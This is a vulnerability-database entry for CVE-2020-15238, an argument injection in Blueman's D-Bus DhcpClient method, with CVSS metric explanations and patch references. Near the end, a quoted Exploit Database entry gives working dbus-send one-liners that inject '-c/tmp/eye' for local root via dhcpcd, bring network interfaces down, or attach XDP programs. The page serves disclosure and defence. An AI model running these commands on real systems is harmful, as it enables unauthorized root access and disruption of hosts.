CVE-2020-15238 : Detail

CVE-2020-15238

7.1
/
High
A03-Injection
0.06%V3
Network
2020-10-27
18h00 +00:00
2020-11-11
04h06 +00:00
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CVE Descriptions

Local privilege escalation Blueman

Blueman is a GTK+ Bluetooth Manager. In Blueman before 2.1.4, the DhcpClient method of the D-Bus interface to blueman-mechanism is prone to an argument injection vulnerability. The impact highly depends on the system configuration. If Polkit-1 is disabled and for versions lower than 2.0.6, any local user can possibly exploit this. If Polkit-1 is enabled for version 2.0.6 and later, a possible attacker needs to be allowed to use the `org.blueman.dhcp.client` action. That is limited to users in the wheel group in the shipped rules file that do have the privileges anyway. On systems with ISC DHCP client (dhclient), attackers can pass arguments to `ip link` with the interface name that can e.g. be used to bring down an interface or add an arbitrary XDP/BPF program. On systems with dhcpcd and without ISC DHCP client, attackers can even run arbitrary scripts by passing `-c/path/to/script` as an interface name. Patches are included in 2.1.4 and master that change the DhcpClient D-Bus method(s) to accept BlueZ network object paths instead of network interface names. A backport to 2.0(.8) is also available. As a workaround, make sure that Polkit-1-support is enabled and limit privileges for the `org.blueman.dhcp.client` action to users that are able to run arbitrary commands as root anyway in /usr/share/polkit-1/rules.d/blueman.rules.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.1 HIGH CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48963

Publication date : 2020-10-27 23h00 +00:00
Author : Vaisha Bernard
EDB Verified : No

# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4 # Date: 2020-10-27 # Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl) # Vendor Homepage: https://github.com/blueman-project/blueman # Software Link: https://github.com/blueman-project/blueman # Version: < 2.1.4 # Tested on: Ubuntu 20.04 # CVE: CVE-2020-15238 # # By default installed on Ubuntu 16.04 - 20.10 and # Debian 9 - 11 # # Local root exploit when dhcpcd is used instead of dhclient # # Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html # # # The DhcpClient method of the d-bus interface to blueman-mechanism # is prone to an argument injection vulnerability. # On systems where the isc-dhcp-client package is removed # and the dhcpcd package installed, this leads to Local # Privilege Escalation to root from any unprivileged user. # See attached python script for a working exploit. Or use # this oneliner with a shellscript "/tmp/eye": dbus-send --print-reply --system --dest=org.blueman.Mechanism \ /org/blueman/mechanism org.blueman.Mechanism.DhcpClient \ string:"-c/tmp/eye" # This happens because the argument is not sanitized before # being used as an argument to dhcpcd. # # Also on default installations with isc-dhcp-client installed, # this can lead to DoS attacks by bringing any interface down # as follows: dbus-send --print-reply --system --dest=org.blueman.Mechanism \ /org/blueman/mechanism org.blueman.Mechanism.DhcpClient \ string:"ens33 down al" # Or allows users to attach XDP objects to an interface: dbus-send --print-reply --system --dest=org.blueman.Mechanism \ /org/blueman/mechanism org.blueman.Mechanism.DhcpClient \ string:"ens33 down al" dbus-send --print-reply --system --dest=org.blueman.Mechanism \ /org/blueman/mechanism org.blueman.Mechanism.DhcpClient \ string:"ens33 name a" dbus-send --print-reply --system --dest=org.blueman.Mechanism \ /org/blueman/mechanism org.blueman.Mechanism.DhcpClient \ string:"a xdp o /tmp/o" # This both happens because the argument is passed to "ip link" # unsanitized.

Products Mentioned

Configuraton 0

Blueman_project>>Blueman >> Version To (excluding) 2.1.4

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Configuraton 0

Fedoraproject>>Fedora >> Version 31

Fedoraproject>>Fedora >> Version 32

Fedoraproject>>Fedora >> Version 33

References

https://www.debian.org/security/2020/dsa-4781
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/202011-11
Tags : vendor-advisory, x_refsource_GENTOO